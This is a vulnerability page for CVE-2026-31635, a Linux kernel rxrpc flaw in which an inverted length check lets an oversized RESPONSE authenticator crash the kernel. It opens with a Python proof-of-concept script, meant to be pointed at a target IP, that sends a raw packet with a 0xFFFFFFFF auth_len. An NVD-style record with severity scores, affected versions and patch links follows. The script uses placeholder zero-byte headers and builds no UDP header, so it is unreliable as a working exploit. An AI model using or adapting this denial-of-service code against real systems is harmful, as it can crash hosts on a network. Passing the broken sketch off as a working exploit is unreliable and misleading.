CVE-2026-31635

import socket import struct # Proof of Concept for CVE-2026-31635 # This script demonstrates the concept of sending a crafted packet # with an oversized authenticator length to trigger the kernel panic. def create_malicious_packet(): # Constructing a simplified RxRPC packet structure # Note: Actual RxRPC/RxGK headers are more complex. # The key is setting the 'auth_len' field to a value # larger than the remaining packet payload. header = b'\x00' * 20 # Placeholder for RxRPC headers # Set auth_len to a large value (e.g., 0xFFFFFFFF) # This bypasses the inverted check and causes skb_to_sgvec to fail. oversized_auth_len = struct.pack('>I', 0xFFFFFFFF) payload = header + oversized_auth_len + b'\x00' * 10 return payload def send_exploit(target_ip, port): try: # Using raw socket requires root privileges s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) packet = create_malicious_packet() s.sendto(packet, (target_ip, port)) print(f"[+] Malicious packet sent to {target_ip}:{port}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 7000 # Replace with target port send_exploit(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-31635", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:42.820", "lastModified": "2026-05-18T15:16:25.370", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: fix oversized RESPONSE authenticator length check\n\nrxgk_verify_response() decodes auth_len from the packet and is supposed\nto verify that it fits in the remaining bytes. The existing check is\ninverted, so oversized RESPONSE authenticators are accepted and passed\nto rxgk_decrypt_skb(), which can later reach skb_to_sgvec() with an\nimpossible length and hit BUG_ON(len).\n\nDecoded from the original latest-net reproduction logs with\nscripts/decode_stacktrace.sh:\n\nRIP: __skb_to_sgvec()\n [net/core/skbuff.c:5285 (discriminator 1)]\nCall Trace:\n skb_to_sgvec() [net/core/skbuff.c:5305]\n rxgk_decrypt_skb() [net/rxrpc/rxgk_common.h:81]\n rxgk_verify_response() [net/rxrpc/rxgk.c:1268]\n rxrpc_process_connection()\n [net/rxrpc/conn_event.c:266 net/rxrpc/conn_event.c:364\n net/rxrpc/conn_event.c:386]\n process_one_work() [kernel/workqueue.c:3281]\n worker_thread()\n [kernel/workqueue.c:3353 kernel/workqueue.c:3440]\n kthread() [kernel/kthread.c:436]\n ret_from_fork() [arch/x86/kernel/process.c:164]\n\nReject authenticator lengths that exceed the remaining packet payload."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-130"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.1", "versionEndExcluding": "6.18.23", "matchCriteriaId": "EAE31F43-AAC5-4801-B2B2-119D62A532A2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.16:-:*:*:*:*:*:*", "matchCriteriaId": "6238B17D-C12B-458F-A138-97039BFC4595"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/a2567217ade970ecc458144b6be469bc015b23e5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/beee051f259acd286fed64c32c2b31e6f5097eb5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e2f1a80d8b1ed6a5ae585a399c2b46500bdcc305", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://github.com/v12-security/pocs/tree/main/dirtydecrypt", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}